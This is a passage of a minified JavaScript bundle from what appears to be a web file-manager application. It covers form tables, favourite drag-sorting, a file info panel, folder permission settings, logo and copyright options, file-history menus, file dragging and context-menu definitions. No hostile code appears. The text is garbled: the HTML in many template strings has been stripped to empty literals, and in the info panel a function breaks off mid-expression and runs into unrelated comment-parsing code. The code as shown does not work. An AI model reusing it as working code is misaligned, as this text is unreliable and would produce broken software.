    ",c=a.$el.find(".form-row").last();c.addClass("row-action-parent"),$(l).appendTo(c),this.tableForm.push(a),i&&(t.value.push(a.getValue()),this.setValue(e,t.value,!0))},"getValue":function(e,t,i){var n=this.parent.formData[e.attr("name")],a=e.val();if(a="[]"==a?"":a,"inline"==_.get(n,"info.formType")){var r=[];e.parent().find(".form-table-main .list-row").each(function(){var e=$(this).data("kodView");e&&r.push(e.getValue(!1,i))}),r=_.filter(r),_.isEmpty(r)||(a=jsonEncode(r))}return a},"checkEmpty":function(e){var t=e.parent().find(".list-row-empty");e.val()?t.addClass("hidden"):t.removeClass("hidden")},"setValue":function(e,t,i){t="[]"==(t=_.isString(t)?t:jsonEncode(t))?"":t,e.val(t).trigger("change"),this.checkEmpty(e),i||this.renderTableValue(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-tags select","selectDataMake":function(e,t,i){e.tags=!0,e.multiple=!0,e.closeOnSelect=!1,i()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.SOURCE_TYPE={"user":1,"group":2}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=".setting-page .setting-main .setting-main-content .panel-body",a=".admin-page .admin-main .admin-main-content .panel-body",r="{pointer-events: none;opacity:0.5 !important;}",o={"user.edit":"\n\t\t"+n+".account-page a "+r+"\n\t\t.setting-page .setting-menu-left .user-head-img,\n\t\t"+n+".account-page .acc-row{pointer-events:none;}\n\t","admin.role.edit":"\n\t\t"+a+".role-page .toolbar .left button "+r+"\n\t\t"+a+".role-page .list-table .list-row .setting "+r+"\n\t","admin.job.edit":"\n\t\t"+a+".job-page .left button "+r+"\n\t\t"+a+".job-page .list-table .list-row .setting "+r+"\n\t","admin.member.userEdit":"","admin.member.groupEdit":"","admin.auth.edit":"\n\t\t"+a+".auth-page .left button "+r+"\n\t\t"+a+".auth-page .list-table .list-row .setting "+r+"\n\t","admin.plugin.edit":"\n\t\t"+a+".plugin-page .app-content .action.btn-group "+r+"\n\t\t"+a+".plugin-page .app-descript .action.btn-group "+r+"\n\t","admin.storage.edit":"\n\t\t"+a+".storage-page .app-content .action.btn-group "+r+"\n\t","admin.autoTask.edit":"\n\t\t"+a+".task-page .left button "+r+"\n\t\t"+a+".task-page .list-table .list-row .setting "+r+"\n\t"};t["default"]=o},function(e,t,i){"use strict";var o=i(0);e.exports=function(e){e=e||{};var i="",t=o.$each,n=e.list,a=(e.item,e.$index,e.fileList),r=o.$escape;return t(n,function(e,t){i+='
    ',i+=r(e.name),i+="
    "}),i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.ioPath=G.io.KOD_USER_FAV+"/",this.dragFlag="bind-drag-sort-fav",this._delay(this.bindNotify)},"bindNotify":function(){this.root.header&&this.root.tree&&(this.listenTo(this.root.path,"list.renderAfter",this.bindFileList),this.listenTo(this.root.tree,"initAfter",function(){this.bindTree(this.ioPath)}),this.listenTo(this.root.tree.treeView,"loadAfter",this.bindTree),this.listenTo(this.root.tree.treeView,"switchChange",function(e){e&&e.open&&e.path==this.ioPath&&this.bindTree(this.ioPath)}))},"bindFileList":function(){var t=this,e=this.root.path.currentPath,i=this.$root.find(".file-continer");if("split"==this.userModel.getOption("listType")){i.dragsort("destroy"),i.removeClass(this.dragFlag);var n='[data-path="'+hashEncode(this.ioPath)+'"]',a=i=this.$root.find(".split-box").filter(n);if(0==a.length)return;i=a.children(".content")}else if(_.trim(e,"/")+"/"!=this.ioPath)return void(i.hasClass(this.dragFlag)&&(i.dragsort("destroy"),i.removeClass(this.dragFlag)));i.addClass(this.dragFlag),i.dragsort("destroy"),i.dragsort({"dragSelector":".file","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
    ","dragStart":function(e,t){if($.targetParent(t,".children-list"))return!1},"dragEnd":function(){var e=$(this).parent().children(".file");t.resetSort(e)}})},"bindTree":function(e){if(_.trim(e,"/")+"/"==this.ioPath){var t=this.root.tree.zTree.getNodesByParam("path",this.ioPath),i=!1;if(!t)return!1;if(_.each(t,function(e){_.trim(e.pathFather,"/")+"/"!=G.io.KOD_USER_FAV&&(i=e)}),i&&i.$node){var n=$("#"+i.$node.next().attr("id")),a=this;0!=n.length&&(n.hasClass(this.dragFlag)||(n.addClass(this.dragFlag),n.dragsort("destroy"),n.dragsort({"dragSelector":".tree-node","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
  • ","dragStart":function(e,t){var i=$.targetParent(t,".tree-node");if(!i||!i.parent().parent().is(n))return!1},"dragEnd":function(){var e=$(this).parent().children("li").children(".tree-node");a.resetSort(e)}})))}}},"resetSort":function(e){var i=[];e.each(function(){var e=$(this),t=e.data("fileItem")||e.data("treeNode");i.push(_.get(t,"sourceInfo.favID"))});var t=this.ioPath;i=_.filter(i).join(","),this.pathModel.favResetSort({"favList":i},function(){Events.trigger("path.pathChange",t)})}})},function(e,t,i){"use strict";var o=i(0);e.exports=function(e){var t="",i=(e=e||{}).i,n=o.$escape,a=e.item,r=e.LNG;return t+='
    ',t+=a.viewUserInfo,t+='
    ',t+=a.viewTitle,t+='
    ',t+=a.viewCurrent,t+='
    ',t+=a.viewPercentInfo,t+='
    ',t+=n(r["common.task.timeStart"]),t+="",t+=a.viewStartTime,t+='',t+=n(r["common.task.timeUse"]),t+="",t+=a.viewUseTime,t+='',t+=n(r["common.task.timeNeed"]),t+="",t+=a.viewNeedTime,t+='
    ',t+=n(r["common.task.running"]),t+='',t+=n(r["common.task.stoping"]),t+='',t+=n(r["common.task.killing"]),t+='
    ","resizeCallback":function(){e.$(".tab-group-line .tab-item.active").tabCurrent(),e.$(".perfectScroll").perfectScroll()},"close":function(){e.objectRemove()}});var s=this.dialog.$main;this.open=!0,this.$main=s.find(".file-panel"),this.$el=this.$main,this.dialog.kodView=this,s.data("kodView",this),s.data("root",this.root);var l="+="+10*$(".artDialog.dialog-file-panel").length+"px";this._delay(function(){s.css({"left":l,"top":l})}),this.initView(),this.bindEvent(),this.reloadView(),this.pathInfo(function(){this.reloadView()}),this.dialog.position("50%","40%"),this.bind("onRemove",function(){this.pathInfoAjax&&this.pathInfoAjax.abort(),this.dialog&&this.dialog.close()}),$.contextMenu.clickBind(this.$main,".menu-left-click,.menu-trigger")},"bindEvent":function(){var e=this.dialog.$main;if(this.bind("tabChange",function(){this.$main.find(".perfectScroll").perfectScroll(),e.hasClass("dialog-max")||e.css({"width":"auto","min-width":"auto"})}),1==this.listData.length){var t=this.listData[0];this.listenTo(this.root.pathAction,"pathChangeNotify",function(e){e==t.path&&this._delay(function(){this.pathInfo(this.reloadView)},10)}),this._delay(function(){this.$('.dialog-tab [tab-name="'+this.selectTab+'"]').tabCurrent()},200)}},"pathInfo":function(i){var n={"dataArr":[]},a=this,r=$.objClone(this.listData);if(this._each(this.listData,function(e){var t={"path":e.path};this.infoSimple&&(t["type"]="simple"),n.dataArr.push(t),e.sourceInfo={},e.metaInfo={},delete e._itemDataBefore}),!this.infoSimple){var e=LNG["common.detail"]+LNG["explorer.getting"];this.tipsLoading=Tips.loadingMask(this.$(".panel-info"),e)}this.infoSimple=!0,this.pathInfoAjax&&this.pathInfoAjax.abort(),this.pathInfoAjax=this.pathModel.pathInfo(n,function(e){if(a.tipsLoading&&a.tipsLoading.close(),a.tipsLoading=!1,e&&e.code){var t=_.isArray(e.data)?e.data:[e.data];a.listData=$.extend(!0,a.listData,t),this._each(a.listData,function(e,t){e.downloadPath=_.get(r[t],"downloadPath",e.downloadPath)}),jsonEncode(r)==jsonEncode(a.listData)||i&&i.apply(a,a.listData)}})},"rootSelector":function(){return"."+this.dialog.config.id},"display":function(){},"bindResize":function(){}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=d(i(403)),a=d(i(411)),r=d(i(162)),o=d(i(415)),s=d(i(417)),l=d(i(423)),c=d(i(163));function d(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.selectTab="panel-info",this.bindEventInit(),this.changeTabEventNow=this.changeTabEvent,this.changeTabEvent=_.debounce(_.bind(this.changeTabEvent,this),20),this.historyBindFile=new r["default"]({"parent":this}),this._delay(function(){this.historyBindFile.bindFileMenu()},100)},"bindEventInit":function(){var e=this;this.panelSave=!($.isWindowSmall()||"explorerDialog"==this.root.viewType),this.open="1"==this.userModel.getOption("filePanel"),this.open=!!this.panelSave&&this.open,this.$main=this.$(".file-panel"),this.$main.find(".panel-tab-content").addClass("tab-animate-fade"),this.$(".panel-toggle").bind("click",function(){e.open=!$(this).hasClass("active"),e.panelSave&&e.userModel.setOption("filePanel",Number(e.open)),e.display()}),this.listenTo(this.parent.select,{"select.change":function(){"1"==this.userModel.getOption("filePanel")&&(this.displayFirst||(this.display(),this.displayFirst=!0),this.reloadData())}})},"initView":function(){var e=i(426);this.renderHtml(e,!1,this.$main),this.viewChat=new n["default"]({"parent":this}),this.viewHistory=new a["default"]({"parent":this}),this.viewLog=new o["default"]({"parent":this}),this.viewInfo=new s["default"]({"parent":this}),this.viewAuth=new c["default"]({"parent":this}),this.viewMeta=new l["default"]({"parent":this}),this.bindEventView(),this.bindResize()},"rootSelector":function(){return this.root.rootSelector()},"bindEventView":function(){var t=this;this.$main.children(".tab-group-line").find(".tab-item").bind("click",function(e){t.selectTab=$(this).attr("tab-name"),t.changeTab(t.selectTab,!0)}),this.$(".panel-close").bind("click",function(e){t.$(".panel-toggle").trigger("click")})},"bindResize":function(){var t="explorerPanelWidth";this.resize=this.$main.dragResize({"size":{"init":300,"min":285,"max":600},"className":"drag-resize-panel","orgin":"x","viewBefore":!1,"storeValue":function(e){return _.isUndefined(e)?this.userModel.getOptionResize(t)||300:this.userModel.setOptionResize(t,e)},"onChange":function(e,t){this.root.trigger("file.continer.resize"),t&&(this.$(".tab-group-line .tab-item.active").tabCurrent(),this.$main.find(".perfectScroll").perfectScroll())}},this)},"display":function(){this.initViewFirst||(this.initViewFirst=!0,this.initView());var e=this.$main.parent(),t=this.$(".panel-toggle"),i=this.$(".file-continer");i.css("width",i.width()),this._delay(function(){i.css("width","inherit"),this.root.trigger("file.continer.resize")},300),this.open?(this.$main.removeClass("hidden"),t.addClass("active"),e.addClass("panel-open"),this.reloadData(),this.resize.sizeChange(),this.$main.css("right",0)):(this.selectTab="panel-info",t.removeClass("active"),e.removeClass("panel-open"),e.find(".bodymain").css("right",0),e.find(".drag-resize-panel").css("right",0),this.$main.css("right",-1-this.$main.width())),this.root.trigger("file.continer.resize")},"reloadData":function(){if(this.open){this.listData=this.root.pathAction.makeParamSelect();var e=this.root.path.jsonData;_.isEmpty(e)||(_.isEmpty(this.listData)&&(this.listData=[e.current]),this.reloadView())}},"reloadView":function(){var t=this.$main.children(".tab-group-line"),e=this.listData,i=this.root.pathAction.auth;if(1"+e+""),i={};if(1<=t.find(".comment-text").length){var n="";t.find(".comment-text").each(function(){n+=$(this).prop("outerHTML")+"
    "}),t=$(""+n+"")}t.find("[data-node]").each(function(){var e=$(this);switch(e.attr("data-node")){case"text":var t=e.attr("title");$(""+t+"").insertBefore(e);break;case"markdown":if(!(t=(t=e.attr("data-markdown"))?base64Decode(t):e.textGet()))break;$("[markdown]"+t+"[/markdown]").insertBefore(e);break;case"param":i[e.attr("data-key")]=e.attr("data-value")}}),t.find("[data-node]").remove(),t.find("img").each(function(){var e="[@base64:"+base64Encode($(this).prop("outerHTML"))+"@]";$(""+e+"").insertBefore($(this))}),t.find("img").remove();var a=t.textGet();return a=this.domDecode(a)},"imageEncode":function(e){var t=/|\/>)/gi;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return"[@base64:"+base64Encode(e)+"@]"}):e},"markdownEncode":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)&&n.markdownParse?e.replace(t,function(e,t){var i=n.markdownParse(t);return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"markdownEncodeEditor":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=n.encodeSpace(htmlEncode(t));return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"autoLink":function(e,t){t=t||"";return e.replace(/(^|[\s\n]|<[A-Za-z]*\/?>)((?:https?|ftp):\/\/[\-A-Z0-9+\u0026\u2019@#\/%?=()~_|!:,.;]*[\-A-Z0-9+\u0026@#\/%=~()_|])/gi,function(e){return"[@base64:"+base64Encode(""+e+"")+"@]"})},"domDecode":function(e){return e.replace(/\[@base64:([\w\/\+\=]*)@\]/g,function(e,t){return base64Decode(t)})},"encodeSpace":function(e){return e=(e=(e=(e=(e=e.replace(/\r\n/g,"
    ")).replace(/\n/g,"
    ")).replace(/\r/g,"
    ")).replace(/ /g," ")).replace(/\t/g,"    ")},"encodeHtml":function(e){return e=this.imageEncode(e),e=this.encodeSpace(e),e=this.domDecode(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"license-step-002":"

    "+LNG["common.copyright.logoTitle"]+"

    ","systemNameType":{"display":LNG["common.copyright.formLogo"],"type":"segment","className":" license-auto-show ","value":G.system.options.systemNameType,"info":{"text":""+LNG["common.copyright.formLogoTypeWord"],"image":""+LNG["common.copyright.formLogoTypeImage"]},"switchItem":{"image":"systemLogo"},"desc":LNG["common.copyright.formLogoDesc"]+'. '+LNG["common.test"]+""},"systemLogo":{"type":"fileSelect","display":LNG["common.copyright.formLogoImage"],"className":" license-auto-show ","value":G.system.options.systemLogo,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoImageDesc"]},"systemLogoMenu":{"type":"fileSelect","display":LNG["common.copyright.formLogoMain"],"className":" license-auto-show ","value":G.system.options.systemLogoMenu,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoMainDesc"]},"license-step-004":"

    "+LNG["common.copyright.formPowerByInfo"]+"

    ","common.copyright.powerBy":{"type":"input","display":LNG["common.copyright.formPowerBy"],"value":LNG["common.copyright.powerBy"],"className":" license-auto-show "},"common.copyright.homepage":{"type":"input","display":LNG["common.copyright.formHomePage"],"value":LNG["common.copyright.homepage"],"className":" license-auto-show "},"common.copyright.contact":{"type":"input","display":LNG["common.copyright.formConcat"],"value":LNG["common.copyright.contact"],"className":" license-auto-show "},"common.copyright.desc":{"type":"textarea","display":LNG["common.copyright.formDesc"],"value":LNG["common.copyright.desc"],"desc":LNG["common.copyright.formDescTips"],"className":" license-auto-show "},"common.copyright.metaKeywords":{"type":"input","display":LNG["common.copyright.formMetaKeywords"],"value":LNG["common.copyright.metaKeywords"],"className":" license-auto-show hidden"},"common.copyright.metaName":{"type":"input","display":LNG["common.copyright.formMetaName"],"value":LNG["common.copyright.metaName"],"className":" license-auto-show hidden"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindFileMenu":function(){this.pathAction=this.root.pathAction,this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow})},"menuShow":function(e){if(_.includes([".menu-path-file",".menu-simple-file",".menu-path-mini-file",".menu-path-guest-file",".menu-share-root-file"],e.menuType)){this.menuAppend(e);var t=this.pathAction.makeParamItem(),i=_.get(t,"sourceID")&&this.pathAction.auth.canWrite(e.$target)?"menuItemShow":"menuItemHide";$.contextMenu[i](e,"file-history"),$.contextMenu[i](e,"file-history-replace")}},"menuAppend":function(e){if(!e.extendFileHistory){var n=this,t={"file-history":{"name":LNG["explorer.history.list"],"className":"hidden ","icon":"ri-history-line","callback":function(e,t){var i=n.pathAction.makeParamItem();n.pathAction.pathInfo(i,"history")}}},i={"file-history-replace":{"name":LNG["explorer.history.uploadNew"],"className":"hidden ","icon":"ri-upload-fill-2","callback":function(e,t){var i=n.pathAction.makeParamItem();n.uploadNewVersion(i)}}};$.contextMenu.menuAdd(t,e,!1,".more-action"),$.contextMenu.menuAdd(i,e,!1,".fav-add"),e.extendFileHistory=!0}},"uploadNewVersion":function(e){var t=this.root.pathAction,i={"uploadApi":this.pathModel.urlMake("upload"),"uploadTo":t.pathFather(e),"single":!0,"postParam":{"fileRepeat":"replace","name":e.name},"config":_.extend({"accept":{"title":LNG["explorer.history.uploadNew"],"extensions":e.ext,"mimeTypes":"."+e.ext}},_.clone(G.system.settings.upload))},n=t.uploadWithParam(i);return this.listenToOnce(n,{"itemUploadSuccess":function(){t.pathChangeNotify(e.path),Events.trigger("explorer.panel.history.change",e.path)}}),n}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o=n(i(2)),s=n(i(425)),l=i(153);function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$(".tab-group-pan .panel-auth"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-auth",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.auth.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(t){if(this.pathInfo.path!=t.path){this.pathInfo=t;var i=this,e={"path":t.path,"action":"getData"},n=Tips.loadingMask(this.$el,!1,.2);this.$(".panel-content").html(""),this.form&&this.form.objectRemove(),this.pathModel.setAuth(e,function(e){if(n.close(),!e.code)return Tips.tips(e,"warning");i.initFormView(t,e.data,i.$(".panel-content"))})}},"initFormView":function(e,t,i){var n=(0,s["default"])().base,a=e.targetID;"1"!=(n.auth.attr["data-parentGroup"]=a)&&(n.auth.attr["data-rootParam"]="appendRootGroup");var r=this.authParseResponse(t);n.authSelf.value=_.get(e,"auth.authInfo.id"),r.allAuth&&(n.allAuthType.value="set",n.allAuth.value=r.allAuth),n.auth.value=r.list,this.form=new o["default"]({"parent":this,"formData":n}),this.form.renderTarget(i),this.bindEvent(i,e),this.initViewFinished?i.find(".config-box").hide().delay(50).fadeIn(150):(this.initViewFinished=!0,i.find(".config-box").hide().delay(50).fadeIn(250))},"authParseResponse":function(e){var n={"user":{},"group":{}},a=!1;return _.each(e,function(e){var t=e.targetType==l.SOURCE_TYPE.group?"group":"user",i=e.targetID+"";"0"!=i?n[t][i]=e.authID+"":a=e.authID+""}),{"allAuth":a,"list":n}},"bindEvent":function(e,t){var i=this,n=this.root.pathAction;e.addClass("form-box-title-block"),e.find(".source-auth-info").bind("click",function(){n.auth.authLabel.authShow()}),e.find(".form-save-button").bind("click",function(e){i.authSave(t,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}),e.find("[name=auth]").bind("change",function(){i.checkHaveSelf(i.form)}),e.find(".form-reset-button").unbind("click").bind("click",function(e){$.dialog.confirm(LNG["explorer.ifPathAuthClear"],function(){i.authClear(t)})})},"checkHaveSelf":function(e){var t=G.user.userID,i=jsonDecode(e.getValue("auth"));if(i){var n=i.user||i;if(!_.isUndefined(n[t]))e.$el.find(".auth-select-box").find('[data-type="userID"]').filter('[data-id="'+t+'"]').addClass("disabled")}},"authSave":function(e,t){var i=[],n=G.user.userID,a=_.get(e,"auth.authInfo.id","1"),r=this.form.getValue();i.push({"targetType":l.SOURCE_TYPE.user,"targetID":n,"authID":a}),"set"==r.allAuthType&&i.push({"targetType":l.SOURCE_TYPE.user,"targetID":0,"authID":r.allAuth}),r.auth=jsonDecode(r.auth),r.auth?r.auth.user?(_.each(r.auth.user,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}),_.each(r.auth.group,function(e,t){i.push({"targetType":l.SOURCE_TYPE.group,"targetID":t,"authID":e})})):_.each(r.auth,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}):"set"!=r.allAuthType&&(i={});var o={"path":e.path,"auth":i};this.pathModel.setAuth(o,t)},"authClear":function(t){var i=this,e={"path":t.path,"action":"clearChildren"};this.pathModel.setAuth(e,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(455)),a=r(i(456));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$root.find(".frame-main-explorer,.frame-main-desktop"),this.$main=this.$(".file-continer"),this.initChildren(),this.bindDrag()},"bindDrag":function(){this.$main.drag({"delegate":".file","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"initChildren":function(){this.fileLight=this.parent.fileLight,this.drop=new n["default"]({"parent":this}),this.autoEvent=new a["default"]({"parent":this})},"getSelect":function(e){var t=this.parent.fileLight,i=this.root.pathAction.auth,n=$();t.$listSelect.each(function(){var e=$(this);i.canCopyCute(e)&&(n=n.add(e))}),this.$select=n},"dragStart":function(e){var t=this;return $.contextMenu.hidden(),!e.shiftKey&&(this.getSelect(e),0!=this.$select.length&&($(document).one("keyup",function(e){27==e.which&&t.clearDrag(e)}),this.clearDrag(e),this.dragTipsMake(e),this.fileDragMake(e),this.isDraging=!0,void this.trigger("dragStart",e)))},"dragMove":function(e){if(this.isDraging){var t=e.clientX+this.offsetMouseX,i=e.clientY+this.offsetMouseY;this.$dragTips.css({"left":t,"top":i}),this.fileDragUpdate(t,i+this.offsetBoxTop),this.trigger("dragMove",e)}},"dragEnd":function(e){if(this.trigger("dragEnd",e),this.isDraging){var t=this;this.fileDragRemove(),this.$dragTips.addClass("animated-500 flipOutXLine"),this.$dragTips.fadeOut(this.animateTime,function(){t.$dragTips.remove()})}else this.clearDrag(e)},"clearDrag":function(e){this.isDraging=!1,clearTimeout(this.timerDelayRemove),this.$drag.remove(),this.$dragTips.remove(),this.$select.removeClass("item-file-draging"),this.trigger("clearDrag")},"isDraging":!1,"animateTime":150,"offsetMouseX":15,"offsetMouseY":-5,"offsetTime":5,"offsetBoxTop":35,"$drag":$(),"$dragList":$(),"$select":$(),"$dragTips":$(),"dragTipsMake":function(){var e=this.$select.length,t='\n\t\t\t
    \n\t\t\t\t
    '+e+"
    \n\t\t\t\t"+e+" "+LNG["common.file"]+"\n\t\t\t
    ";this.$dragTips=$(t).appendTo(this.$el)},"fileDragMake":function(e){this.fileDragRender(e);var n=this.$dragList;this.$select.addClass("item-file-draging"),n.each(function(e){var t=$(n.prevObject[e]),i=t.offset();$(this).css({"left":i.left,"top":i.top,"width":t.width()}),$(this).data({"offset":i,"cloneFrom":t})})},"fileDragRender":function(e){var t="file-list-"+this.userModel.getOption("listType"),i="\n\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    ";this.$drag=$(i).appendTo(this.$el);var n=this.$select.clone();(50<=this.$select.length||$.browser.msie)&&(n=$(e.target).parents(".file").clone());n.appendTo(this.$drag.find(".file-draging")),this.$dragList=n},"fileDragUpdate":function(n,a){var l=this;this.destX=n,this.destY=a,this.$dragList.each(function(e){var s=$(this),t={"left":n,"top":a};if("finished"==s.data("animate"))return s.css(t);if(!s.data("animateStart")){s.data("animateStart","1");var i=l.animateTime+e*l.offsetTime;s.animate({"opacity":1},{"duration":i,"easing":"swing","progress":function(e,t,i,n,a){var r=s.data("offset"),o={"left":(l.destX-r.left)*t+r.left,"top":(l.destY-r.top)*t+r.top};s.css(o)},"complete":function(){s.data("animate","finished")}})}})},"destX":0,"destY":0,"fileDragRemove":function(){var r=this,o=1.5*r.animateTime;this.$dragList.each(function(e){var t=$(this),i=o+e*r.offsetTime,n=t.data("offset"),a=t.data("cloneFrom");a&&a.exists()?t.stop().animate(n,i,function(){a.removeClass("item-file-draging"),t.remove()}):t.stop().animate({"opacity":0},i,function(){t.remove()})}),this.timerDelayRemove=this._delay(function(){r.$drag.remove(),r.$select.removeClass("item-file-draging"),r.$dragList=$()},10+o+this.$dragList.length*r.offsetTime)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var e='';return{"new-folder":{"name":LNG["explorer.newFolder"]+"Alt+M","icon":"ri-folder-fill-3","accesskey":"n"},"new-file":{"name":LNG["explorer.newFile"],"accesskey":"j"},"open":{"name":LNG["common.open"]+"Enter","icon":"ri-external-link-line","accesskey":"o"},"open-father":{"name":LNG["explorer.openFather"],"icon":"ri-folder-fill-3","accesskey":"f"},"refresh":{"name":LNG["common.refresh"]+"F5","icon":"ri-refresh-line","accesskey":"e"},"path-info":{"name":LNG["explorer.info"]+"Alt+I","icon":"ri-information-line","accesskey":"i"},"path-auth":{"name":LNG["admin.setting.auth"]+"Alt+Shift+I","icon":"ri-lock-line-2","accesskey":"q"},"copy":{"name":LNG["explorer.copy"]+"Ctrl+C","icon":"ri-file-copy-line-2","accesskey":"c"},"cute":{"name":LNG["explorer.cute"]+"Ctrl+X","icon":"ri-scissors-fill","accesskey":"k"},"past":{"name":LNG["explorer.past"]+"Ctrl+V","icon":"ri-survey-line","className":"explorer-past-item past","accesskey":"p"},"copy-to":{"name":LNG["explorer.copyTo"],"icon":"ri-file-copy-line-2"},"cute-to":{"name":LNG["explorer.cuteTo"],"icon":"ri-scissors-fill"},"clipboard":{"name":LNG["explorer.clipboard"],"icon":"ri-inbox-line","accesskey":"v"},"download":{"name":LNG["common.download"],"icon":"ri-download-fill-2","accesskey":"x"},"rename":{"name":LNG["common.rename"]+"F2","icon":"ri-pencil-fill","accesskey":"r"},"remove":{"name":LNG["common.delete"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"clone":{"name":LNG["explorer.clone"],"icon":"ri-file-copy-line-2"},"search":{"name":LNG["explorer.searchInPath"],"icon":"ri-search-line","accesskey":"s"},"upload":{"name":LNG["common.upload"],"icon":"ri-upload-fill-2","accesskey":"u"},"upload-file":{"name":LNG["explorer.uploadFile"]+"Ctrl+U","icon":"ri-upload-fill-2"},"upload-folder":{"name":LNG["explorer.uploadFolder"],"icon":"ri-upload-fill-2","className":"upload upload-folder"},"server-download":{"name":LNG["explorer.downOffline"],"className":"download"},"recycle-clear":{"name":LNG["explorer.recycleClear"],"icon":"ri-delete-bin-line-6","accesskey":"c"},"recycle-restore":{"name":LNG["explorer.recycleRestoreItem"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"recycle-delete":{"name":LNG["common.deleteForce"]+"Shift+Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"recycle-restore-all":{"name":LNG["explorer.recycleRestoreAll"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"share-to-file":{"name":LNG["explorer.share.innerTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.shareTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.shareTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-link-file":{"name":LNG["explorer.share.linkTo"],"icon":" x-share-link","accesskey":"l"},"share-link-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.linkTo"],"icon":"x-share-link","accesskey":"e"},"share-link-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.linkTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-open-window":{"name":LNG["explorer.share.openPage"],"icon":"ri-external-link-line","accesskey":"b"},"fav-add":{"name":LNG["explorer.addToFav"],"icon":"ri-star-fill","accesskey":"f"},"fav-remove":{"name":LNG["explorer.favRemove"],"icon":"ri-star-line","accesskey":"d"},"fav-rename":{"name":LNG["common.rename"],"icon":"ri-pencil-fill","accesskey":"r"},"fav-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"fav-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"tag-edit":{"name":LNG["explorer.tag.edit"],"icon":"ri-bookmark-line-3","accesskey":"e"},"tag-remove":{"name":LNG["common.delete"],"icon":"ri-delete-bin-line-6","accesskey":"d"},"tag-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"tag-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"app-install":{"name":LNG["explorer.app.app"],"icon":"ri-apps-fill","accesskey":"a"},"setting-wall":{"name":LNG["admin.setting.wall"],"icon":"ri-image-line","accesskey":"b"},"setting-theme":{"name":LNG["admin.setting.theme"],"icon":"ri-dashboard-line-2","accesskey":"i"},"setting-user":{"name":LNG["admin.userManage"],"icon":"ri-settings-fill-5","accesskey":"t"},"file-embed":{"name":LNG["explorer.embed.title"],"icon":"ri-code-box-line","accesskey":"a"},"set-background":{"name":LNG["explorer.setBackground"],"icon":"ri-image-line","accesskey":"x"},"explorer":{"name":LNG["explorer.folderManage"],"icon":"ri-folder-fill-3","accesskey":"v"},"explorer-editor":{"name":LNG["explorer.openWithAce"],"icon":"ri-edit-box-line","accesskey":"e"},"create-link-home":{"name":LNG["explorer.createLinkHome"],"icon":"x-item-icon x-app-link","accesskey":"l"},"create-link":{"name":LNG["explorer.createLink"],"icon":"x-item-icon 